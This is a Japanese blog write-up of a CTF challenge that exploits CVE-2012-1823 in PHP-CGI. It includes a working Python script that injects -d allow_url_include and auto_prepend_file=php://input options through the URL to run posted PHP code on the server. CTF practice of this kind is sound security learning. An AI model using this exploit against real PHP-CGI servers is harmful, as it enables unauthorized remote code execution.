#12 Hypertext Preprocessor
ひっさびさの更新!
解法
とりあえずソースコードを見たけど特になし。
次に問題名の「Hypertext Preprocessor」を調べてみたら、PHPのことをいうらしい('Д')シラナカッタ
それでPHP関係かなと思いつつ、表示されてる数字の「2012:1823」をググったらCVE-2012-1823が引っかかった。
これはCGI版のPHP 5.4.2/5.3.12以前に存在する脆弱性で、URLパラメータにコマンドオプションを含めたらそれを実行しちゃうってヤツ。(この脆弱性を狙ったApache Magica攻撃というのがあるらしい)
実はこの脆弱性は後輩の研究で既に知ってて、早速URLに-sを追加してみたところ、ソースコードを確認できた。
コメントによると、フラグはこのディレクトリ内にあるとのこと。
ちなみに表示されてた数字は、CVE番号、時間、ランダム数値だと分かった。
ここから少し本格的に攻撃する必要があって、徳丸さんのサイトを参考にする。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
それによると、この2つのコマンドを使えば任意のPHPコードを実行できるらしい。
- allow_url_include=On
- auto_prepend_file=php://input
そして次はPHPコードでフラグを探していく。
Fiddlerでやろうと奮闘したけど、リクエストヘッダの書き方が悪かったらしく?PHPコードが実行されない…。
ということで結局Python書いた(´Д`)
import requests url = "http://ctfq.sweetduet.info:10080/~q12/" query = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" payload = ''' <?php foreach(glob('*') as $file){ if(is_file($file)){ echo "$file \n"; } } ?> ''' r = requests.post(url+query, data=payload) html = r.text print(html)
PHPの処理内容は、ディレクトリ内のファイルを一覧表示するもの。
その結果、flagがあると思われるファイルを発見。
そしてcatで中身を見てフラグゲット!!
元々知ってた脆弱性だったから、そんなに苦戦しなかったかな?
久々に解いて楽しかった(´∀`)